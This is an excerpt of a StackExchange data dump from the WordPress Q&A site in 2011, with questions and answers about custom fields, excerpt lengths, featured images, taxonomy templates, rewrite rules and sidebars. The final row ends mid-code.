  <row Id="11685" PostTypeId="2" ParentId="11683" CreationDate="2011-03-10T16:21:53.123" Score="0" ViewCount="" Body="&lt;p&gt;You don't need CPT's to display custom information. You could use custom fields (you may need to enable them in the screen options at the top of the post edit window). You'd just need to include the custom fields in your loop but position them so they appear over the sidebar. Their information would be related to the post their on and you wouldn't need to create a new sidebar for each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same thing could be achieved with custom meta boxes. I've heard good reviews on the plugin below but haven't used it myself.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/verve-meta-boxes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding to what you have mentioned below it is possible to add a description to a tag so you could just format all of the extra information in the description field and use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_tags&quot; rel=&quot;nofollow&quot;&gt;get_the_tags&lt;/a&gt; to call the information you want. Then you'd just have to add the tag you wanted to the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking it a step further you're probably better off registering a new taxonomy (Game) setting it up so it works like a tag and calling the description of that. Then you won't be cluttering up your normal post_tags with the game names and it will be easier to call the description on only that taxonomy instead of all tags (and trying to exclude the ones you don't want). This would also let you use the new taxonomy in other spots in the site and thus relate multiple types of content (if you ever decided to add a new content type).&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2011-03-10T20:58:33.697" LastActivityDate="2011-03-10T20:58:33.697" CommentCount="3" />
  <row Id="11686" PostTypeId="2" ParentId="11681" CreationDate="2011-03-10T16:35:52.057" Score="0" ViewCount="" Body="&lt;p&gt;There's the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/count_user_posts&quot; rel=&quot;nofollow&quot;&gt;count_user_posts&lt;/a&gt; function which will give you a count of posts for a given user id. From a quick look through the Codex, I don't see a similar function to return a comment count. But after looking at the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/user.php#L146&quot; rel=&quot;nofollow&quot;&gt;source for count_user_posts&lt;/a&gt;, I think it would be easy to adapt the code to count comments instead.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-10T16:35:52.057" />
  <row Id="11687" PostTypeId="1" AcceptedAnswerId="11692" CreationDate="2011-03-10T16:45:52.903" Score="0" ViewCount="76" Body="&lt;p&gt;I've never really been comfortable with the on-board image editor in WordPress, and here's a good example of why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just setting up a vanilla WP installation and am using the TwentyTen theme. I've uploaded an image, rotated it 90 degrees (using the Edit Image feature), saved it and have used it as my Featured Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image that appears in my header and featured image area is still the original, rotated version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go back to the Gallery for this page, by clicking on the Featured Image in the Edit Posts section, the image is rotated correctly. But back on the Edit Posts section, or on the actual site the image is not rotated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've hit &quot;Save all changes&quot; a dozen times, I've switched sizes a few times, and I'm using &quot;Apply changes to: All image sizes&quot; in the Edit box. I'm running out of options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone walk me through the correct process to upload, rotate, and set a featured image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-03-10T17:37:43.653" Title="Using the on-board image editor for featured images: edits are not being used" Tags="&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="11688" PostTypeId="1" AcceptedAnswerId="11702" CreationDate="2011-03-10T17:17:36.950" Score="1" ViewCount="268" Body="&lt;p&gt;Is it possible to control the length of the content or excerpt for a specific query/loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have come across the following code, but this changes the length for all excerpts, I want it focused on a specific custom query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter('excerpt_length', 'my_excerpt_length');&#xA;function my_excerpt_length($length) {&#xA;return 20; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-03-10T19:01:33.080" Title="Content/Excerpt length control for a specific loop?" Tags="&lt;loop&gt;&lt;the-content&gt;&lt;the-excerpt&gt;" AnswerCount="2" />
  <row Id="11689" PostTypeId="2" ParentId="2929" CreationDate="2011-03-10T17:24:54.287" Score="0" ViewCount="" Body="&lt;p&gt;this was interesting function with jQuery and worked ... but the problem is that the code blocks are still present so when you &quot;view source&quot; all the bio tables are still there ... thus this solution would give me pause on security level per a DOM editor like Firebug which likely could still manipulate the fields given they show in page view source ..??..&lt;/p&gt;&#xA;" OwnerUserId="3858" LastActivityDate="2011-03-10T17:24:54.287" />
  <row Id="11691" PostTypeId="1" AcceptedAnswerId="11695" CreationDate="2011-03-10T17:30:04.767" Score="1" ViewCount="148" Body="&lt;p&gt;As far as I know, there's not a simple function that will return true if a post has an attachment. With that in mind, what's the best way to determine if a post has an attachment (or even better, has an image attachment)? I'm automatically inserting a shortcode on posts, but would like that to only happen if there is actually an image attached to the post.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-10T18:11:48.400" Title="How can I determine if a post has an image attachment?" Tags="&lt;images&gt;&lt;conditional-content&gt;" AnswerCount="1" />
  <row Id="11692" PostTypeId="2" ParentId="11687" CreationDate="2011-03-10T17:37:43.653" Score="0" ViewCount="" Body="&lt;p&gt;AFAIK, the featured image ignores all on-site edits.  It just takes your base image, and applies crop/resize based on your add_image_size defs.  &lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-10T17:37:43.653" CommentCount="3" />
  <row Id="11693" PostTypeId="2" ParentId="11688" CreationDate="2011-03-10T17:41:03.823" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wpengineer.com/1909/manage-multiple-excerpt-lengths/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/1909/manage-multiple-excerpt-lengths/&lt;/a&gt;&#xA;Does this work for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can apply different excerpts to each time you actually call the_excerpt&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-10T17:41:03.823" />
  <row Id="11694" PostTypeId="1" AcceptedAnswerId="11705" CreationDate="2011-03-10T17:46:58.687" Score="0" ViewCount="132" Body="&lt;p&gt;Is it possible to block user registration based on the referring URL?  I have an open registration WP site (configured so users can post ads and events) and while I typically don't get a lot of spam registrations (there is a reCaptcha involved), I was listed on a site as an example of the capabilities of the theme I'm using, and it generates a lot of &quot;test&quot; type of traffic.  I like the traffic, but I don't like people registering just to post false test posts just to see how the site works, so I'd ultimately like to simply block registration from that referring URL.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-03-10T19:35:11.633" Title="Block registration by URL referrer?" Tags="&lt;urls&gt;&lt;spam&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="11695" PostTypeId="2" ParentId="11691" CreationDate="2011-03-10T17:53:40.023" Score="4" ViewCount="" Body="&lt;p&gt;I think this should work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachments = get_children( array('post_parent' =&amp;gt; get_the_ID(), 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image') );&#xA;&#xA;if ( $attachements ) {&#xA;&#xA; // do conditional stuff here &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="799" LastEditorUserId="799" LastEditorDisplayName="" LastEditDate="2011-03-10T18:11:48.400" LastActivityDate="2011-03-10T18:11:48.400" CommentCount="1" />
  <row Id="11696" PostTypeId="1" AcceptedAnswerId="11797" CreationDate="2011-03-10T18:03:20.077" Score="2" ViewCount="388" Body="&lt;p&gt;I am trying to use jQuery to display the comment-section of my Wordpress-pages, but without requiring that jQuery be present on all pages that allows comments. Basically, I need the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A generic javascript implementation of the 'in view' jQuery-plugin (http://remysharp.com/2009/01/26/element-in-view-event-plugin/)&lt;/li&gt;&#xA;&lt;li&gt;A method of activating jQuery (core) when the div containing the comments come into view.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This would then load jQuery, which in turn would load the comments-section of the page, but only when that section became visible through the browser viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem seems to be that I really cannot use 'wp_enqueue_script' (Wordpress' generic way of adding scripts) for this, as it is a PHP-function. Is there some method that would allow me to implement a functionality as described above (without breaking Wordpress/jQuery-functionality)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;I need to enable jQuery only when the reader decides he wants to read comments (as opposed to only opening a page, seeing the title and leaving) - much in the style of Disqus. Disqus appears to be activated only when visible in the viewport, and I am assuming, at the same time the controlling Javascript is activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do something like that in regular Javascript (activating jQuery), and then porting it to Wordpress?&lt;/p&gt;&#xA;" OwnerUserId="2983" LastEditorUserId="2983" LastEditorDisplayName="" LastEditDate="2011-03-11T15:12:15.783" LastActivityDate="2011-03-11T20:54:37.740" Title="How do I activate jQuery/script on demand?" Tags="&lt;jquery&gt;&lt;wp-enqueue-script&gt;" AnswerCount="3" />
  <row Id="11697" PostTypeId="1" AcceptedAnswerId="11703" CreationDate="2011-03-10T18:10:14.933" Score="0" ViewCount="165" Body="&lt;p&gt;I have two custom post types: event and contact:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://acicafoc.josoroma.com/contactenos&quot; rel=&quot;nofollow&quot;&gt;http://acicafoc.josoroma.com/contactenos&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://acicafoc.josoroma.com/eventos&quot; rel=&quot;nofollow&quot;&gt;http://acicafoc.josoroma.com/eventos&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of them uses a custom taxonomy: country&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just created a template named: taxonomy-country.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I Need two separated templates, one for events who uses countries and another one for contacts who uses countries. For example, to display all events in United States or all contacts from Costa Rica.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my actual code of taxnomy-country.php, but only for events who uses countries. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The template for displaying Countries Taxonomy.&#xA; *&#xA; */&#xA;&#xA;get_header();&#xA;&#xA;&#xA;$term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );&#xA;&#xA;&#xA;//print_r($term);&#xA;&#xA;&#xA;$args = array();&#xA;&#xA;$args['post_type']  = 'event';&#xA;$args['taxonomy']   = $term-&amp;gt;taxonomy;&#xA;$args['term']   = $term-&amp;gt;slug;&#xA;&#xA;&#xA;query_posts($args); &#xA;&#xA;?&amp;gt;&#xA;        &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;                &amp;lt;h1 class=&quot;page-title&quot;&amp;gt;&amp;lt;?php&#xA;                    printf( __( 'Archives: %s', 'twentyten' ), '&amp;lt;span&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/span&amp;gt;' );&#xA;                ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;?php&#xA;                    $category_description = category_description();&#xA;                    if ( ! empty( $category_description ) )&#xA;                        echo '&amp;lt;div class=&quot;archive-meta&quot;&amp;gt;' . $category_description . '&amp;lt;/div&amp;gt;';&#xA;&#xA;                /* Run the loop for the category page to output the posts.&#xA;                 * If you want to overload this in a child theme then include a file&#xA;                 * called loop-category.php and that will be used instead.&#xA;                 */&#xA;                get_template_part( 'loop', 'category' );&#xA;                ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-03-10T18:20:47.810" LastActivityDate="2011-03-10T19:10:11.140" Title="A shared custom taxonomy between two custom post types" Tags="&lt;template&gt;" AnswerCount="2" />
  <row Id="11698" PostTypeId="1" CreationDate="2011-03-10T18:26:46.653" Score="0" ViewCount="99" Body="&lt;p&gt;When clicking on &quot;Manage posts&quot; to view all posts in WP Admin, it takes waaay to long. &#xA;This is a new WP-site, but we are importing posts from an old site, and currently we have 3,376 posts at the site. But the goal is to import between 10-15.000 articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if WP is going to reduce the performance like this - it is really critical. &#xA;It loads 1.5 - 3 minutes (!) before anythis shows up.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The overall performance of the site it self is really good, but the admin-area for posts is a disaster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So;&lt;br&gt;&#xA;1. WHY is the performance so bad&lt;br&gt;&#xA;2. How can we make it faster? &lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-03-10T20:26:58.577" Title="Performance-issue in WP-admin with a lot of posts" Tags="&lt;wp-admin&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="11699" PostTypeId="2" ParentId="11696" CreationDate="2011-03-10T18:32:38.520" Score="1" ViewCount="" Body="&lt;h3&gt;1. Register jQuery and the plugin within your head&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_script( 'jquery' );&#xA;wp_register_script( 'your_jquery_plugin', STYLESHEETPATH, 'jquery', '0.0', false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;2. Register a meta box&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It should be a simple checkbox. Please do it like it's described on the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;codex page for add_meta_box()&lt;/a&gt; (don't just repeat this one here). If you follow the rest, then the $id for the meta box should be &lt;code&gt;'jquery_comments'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example (shortened):&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;inside &lt;code&gt;functions.php&lt;/code&gt;&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function add_jquery_comments_meta_box() {&#xA;       $id = 'jquery_comments';&#xA;       $title = __( 'jQuery Comments, please?', 'your_textdomain_string' );&#xA;       $context = 'side'; // advanced/normal also possible&#xA;       $priority = 'low'; // high also possible&#xA;       $callback_args = ''; // in case you want to extend it&#xA;       add_meta_box( $id, $title, 'add_jquery_comments_cb_fn', 'post', $context, $priority, $callback_args );&#xA;    }&#xA;    add_action( 'admin_init', 'add_jquery_comments_meta_box', 1 );&#xA;&#xA;    // Prints the box content&#xA;    // Please adjust this to your needs - only slightly modified from codex example&#xA;    function add_jquery_comments_cb_fn() {&#xA;       // Use nonce for verification&#xA;      wp_nonce_field( basename(__FILE__), 'your_noncename' );&#xA;&#xA;      // The actual fields for data entry&#xA;?&amp;gt;&#xA;      &amp;lt;label for=&quot;jquery_comments&quot;&amp;gt;&amp;lt;?php _e(&quot;Do you want jquery comments on this post?&quot;, 'your_textdomain_string' ); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;checkbox&quot; id=&quot;jquery_comments&quot; name=&quot;jquery_comments&quot; /&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;3. enqueue the script based on your meta box as the condition&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;and then write a function like this in your &lt;code&gt;functions.php&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_jquery_comments_plugin() {&#xA;   wp_enqueue_script( 'jquery' );&#xA;   wp_enqueue_script( 'your_jquery_plugin' );&#xA;}&#xA;// and call it depending on a conditional in the comment form hook&#xA;if ( get_post_meta($post-&amp;gt;ID, 'jquery_comments', true) ) {&#xA;   add_action( 'comment_form', 'add_jquery_comments_plugin' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-10T18:32:38.520" CommentCount="4" />
  <row Id="11700" PostTypeId="2" ParentId="11698" CreationDate="2011-03-10T18:37:04.600" Score="0" ViewCount="" Body="&lt;p&gt;Do you have the sample problem with a local install? It sounds like you're on a shard service with a pretty large site&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-10T18:37:04.600" />
  <row Id="11701" PostTypeId="2" ParentId="11697" CreationDate="2011-03-10T18:42:07.730" Score="1" ViewCount="" Body="&lt;p&gt;Have you already look into what comes back from &lt;code&gt;$term-taxonomy&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this right before your query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($term-taxonomy);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know exactly the output without trying it now, but i guess it's an array and in this case you could just take the taxonomy you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: You don't need to specify &lt;code&gt;$args = array()&lt;/code&gt;. The conversion to an array already happens when you type &lt;code&gt;$args[] = '';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-10T18:42:07.730" CommentCount="1" />
  <row Id="11702" PostTypeId="2" ParentId="11688" CreationDate="2011-03-10T19:01:33.080" Score="1" ViewCount="" Body="&lt;p&gt;Try this: &lt;a href=&quot;http://pippinspages.com/tutorials/better-wordpress-post-excerpt-revamped/&quot; rel=&quot;nofollow&quot;&gt;http://pippinspages.com/tutorials/better-wordpress-post-excerpt-revamped/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-03-10T19:01:33.080" CommentCount="2" />
  <row Id="11703" PostTypeId="2" ParentId="11697" CreationDate="2011-03-10T19:10:11.140" Score="2" ViewCount="" Body="&lt;p&gt;You use get_query_var('post_type') to set the post type in your args array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args['post_type']  = get_query_var('post_type');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also include the right loop part based on that for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (get_query_var('post_type') == &quot;event&quot;){&#xA;   get_template_part( 'loop', 'event' );&#xA;}else{&#xA;   get_template_part( 'loop', 'other' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-10T19:10:11.140" />
  <row Id="11705" PostTypeId="2" ParentId="11694" CreationDate="2011-03-10T19:19:16.547" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;&quot;register_post&quot;&lt;/code&gt; hook that happens just before the user is saved to the database &#xA;or you can use &lt;code&gt;&quot;register_form&quot;&lt;/code&gt; hook and check the referring URL for a match and die();&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-10T19:19:16.547" CommentCount="1" />
  <row Id="11706" PostTypeId="1" AcceptedAnswerId="17110" CreationDate="2011-03-10T19:31:06.740" Score="0" ViewCount="232" Body="&lt;p&gt;I have a custom post type of &lt;strong&gt;&lt;em&gt;items&lt;/em&gt;&lt;/strong&gt; set up. I also have a taxonomy set up with &lt;strong&gt;&lt;em&gt;items&lt;/em&gt;&lt;/strong&gt; called &lt;em&gt;categories&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;functions.php code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    regsiter_post_type('items',&#xA;                array('labels' =&amp;gt; array&#xA;                    (&#xA;                        'name' =&amp;gt; 'Items',&#xA;                        'singular_name' =&amp;gt; 'Item'&#xA;                    ),&#xA;                    'public' =&amp;gt; true,&#xA;                    'rewrite' =&amp;gt; array&#xA;                    ( &#xA;                        'slug' =&amp;gt; 'items'&#xA;                    ),&#xA;                    'supports' =&amp;gt; array&#xA;                    (&#xA;                        'title',&#xA;                        'excerpt',&#xA;                        'editor',&#xA;                        'comments',&#xA;                        'revisions',&#xA;                        'thumbnail'&#xA;                    ),&#xA;                    'taxonomies' =&amp;gt; array&#xA;                    (&#xA;                        'categories',&#xA;                        'tags'&#xA;                    )&#xA;                ));&#xA;   register_taxonomy ( 'categories', 'items', array('hierarchical' =&amp;gt; true,&#xA;                    'label' =&amp;gt; 'Item Categories',&#xA;                    'rewrite' =&amp;gt; array&#xA;                    (&#xA;                        'slug' =&amp;gt; 'categories',&#xA;                        'hierarchical' =&amp;gt; ture&#xA;                    )));&#xA;&#xA;require 'rewrites.php'; // load rewrite class&#xA;    Rewrites::init(); // call init function in rewrite class&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rewrites.php code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Rewrites&#xA;    {&#xA;        // Start class methods&#xA;&#xA;        public static function init()&#xA;        {&#xA;            // Rewrite urls&#xA;            add_action ( 'generate_rewrite_rules', array( __CLASS__, 'rules' ) );&#xA;&#xA;            add_filter ( 'query_vars', array( __CLASS__, 'vars' ) );&#xA;        }&#xA;&#xA;        public static function rules ( $wp_rewrite )&#xA;        {&#xA;            $new_rules = array();&#xA;            $new_rules['categories/(.+?)/view/(.+)/?'] = 'index.php?categories=$matches[1]&amp;amp;view=$matches[2]';&#xA;&#xA;            return $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;        }&#xA;&#xA;        // End class methods&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So when looking at posts in the taxonomy of categories the url would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/categories/%name_of_taxonomy%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to also append to the url to add in query_vars&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/categories/%name_of_taxonomy%/view/%type_of_view%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;%type_of_view% would be a couple different options. list, grid etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[categories/(.+?)/view/(.+)/?] =&amp;gt; index.php?categories=$matches[1]&amp;amp;view=$matches[2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I go to the url /categories/%name_of_taxonomy%/view/grid/ it redirects back to /categories/%name_of_taxonomy%/&lt;/p&gt;&#xA;" OwnerUserId="3861" LastEditorUserId="3861" LastEditorDisplayName="" LastEditDate="2011-03-14T16:40:16.657" LastActivityDate="2011-05-12T22:47:36.347" Title="Taxonomy Rewrite Rules Redirecting Instead of Masking" Tags="&lt;custom-taxonomy&gt;&lt;redirect&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="11707" PostTypeId="2" ParentId="11694" CreationDate="2011-03-10T19:35:11.633" Score="1" ViewCount="" Body="&lt;p&gt;Along with what Bainternet said, you could also set a session with that url in it, so if they go to your site and then go to another site/page and come back. You would still have that referring url there to check for.&lt;/p&gt;&#xA;" OwnerUserId="3861" LastActivityDate="2011-03-10T19:35:11.633" />
  <row Id="11708" PostTypeId="2" ParentId="11582" CreationDate="2011-03-10T19:42:01.550" Score="0" ViewCount="" Body="&lt;p&gt;The solution is fairly simple and I don't know why it took me so long to find it on the Codex. You must make use of the &lt;code&gt;$wp_query&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in the template, before calling the loop, set a variable to hold the returned data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars = $wp_query-&amp;gt;query_vars;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, check if the required taxonomies are set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset( $vars['brand']) &amp;amp;&amp;amp; isset( $vars['type'] ) &amp;amp;&amp;amp; isset( $vars['material'] ) &amp;amp;&amp;amp; isset( $vars['size'] ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If they are continue with the loop. If not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query; &#xA;status_header('404');&#xA;$wp_query-&amp;gt;set_404();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wonder, though, if this is the most optimum solution.&lt;/p&gt;&#xA;" OwnerUserId="3821" LastActivityDate="2011-03-10T19:42:01.550" />
  <row Id="11709" PostTypeId="2" ParentId="3292" CreationDate="2011-03-10T19:46:26.803" Score="0" ViewCount="" Body="&lt;p&gt;I know this is really rather late but maybe it will help someone - This is a great plugin that sounds like what you need &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ajaxplorer.info/wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.ajaxplorer.info/wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3863" LastActivityDate="2011-03-10T19:46:26.803" />
  <row Id="11710" PostTypeId="2" ParentId="462" CreationDate="2011-03-10T19:47:08.830" Score="0" ViewCount="" Body="&lt;p&gt;I cheated and used css in the style.css file&#xA;Mike's method is better if you want let users edit the header.&#xA;I turned that feature off altogether.&lt;/p&gt;&#xA;" OwnerUserId="2469" LastActivityDate="2011-03-10T19:47:08.830" CommunityOwnedDate="2011-03-10T19:47:08.830" />
  <row Id="11711" PostTypeId="1" CreationDate="2011-03-10T20:07:41.823" Score="1" ViewCount="308" Body="&lt;p&gt;I have a child theme based on Twenty Ten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have split out the sidebar and secondary side bar so they can be used on different pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sidebar.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;primary&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;xoxo&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    /* When we call the dynamic_sidebar() function, it'll spit out&#xA;     * the widgets for that widget area. If it instead returns false,&#xA;     * then the sidebar simply doesn't exist, so we'll hard-code in&#xA;     * some default sidebar stuff just in case.&#xA;     */&#xA;    if ( ! dynamic_sidebar( 'primary-widget-area' ) ) : ?&amp;gt;&#xA;&#xA;        &amp;lt;li id=&quot;search&quot; class=&quot;widget-container widget_search&quot;&amp;gt;&#xA;            &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li id=&quot;archives&quot; class=&quot;widget-container&quot;&amp;gt;&#xA;            &amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;&amp;lt;?php _e( 'Archives', 'twentyten' ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php wp_get_archives( 'type=monthly' ); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li id=&quot;meta&quot; class=&quot;widget-container&quot;&amp;gt;&#xA;            &amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;&amp;lt;?php _e( 'Meta', 'twentyten' ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php wp_register(); ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;?php wp_loginout(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php wp_meta(); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; // end primary widget area ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #primary .widget-area --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sidebar-2.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    // A second sidebar for widgets, just because.&#xA;    if ( ! dynamic_sidebar( 'secondary-widget-area' ) ) : ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;secondary&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;xoxo&quot;&amp;gt;&#xA;                &amp;lt;?php dynamic_sidebar( 'secondary-widget-area' ); 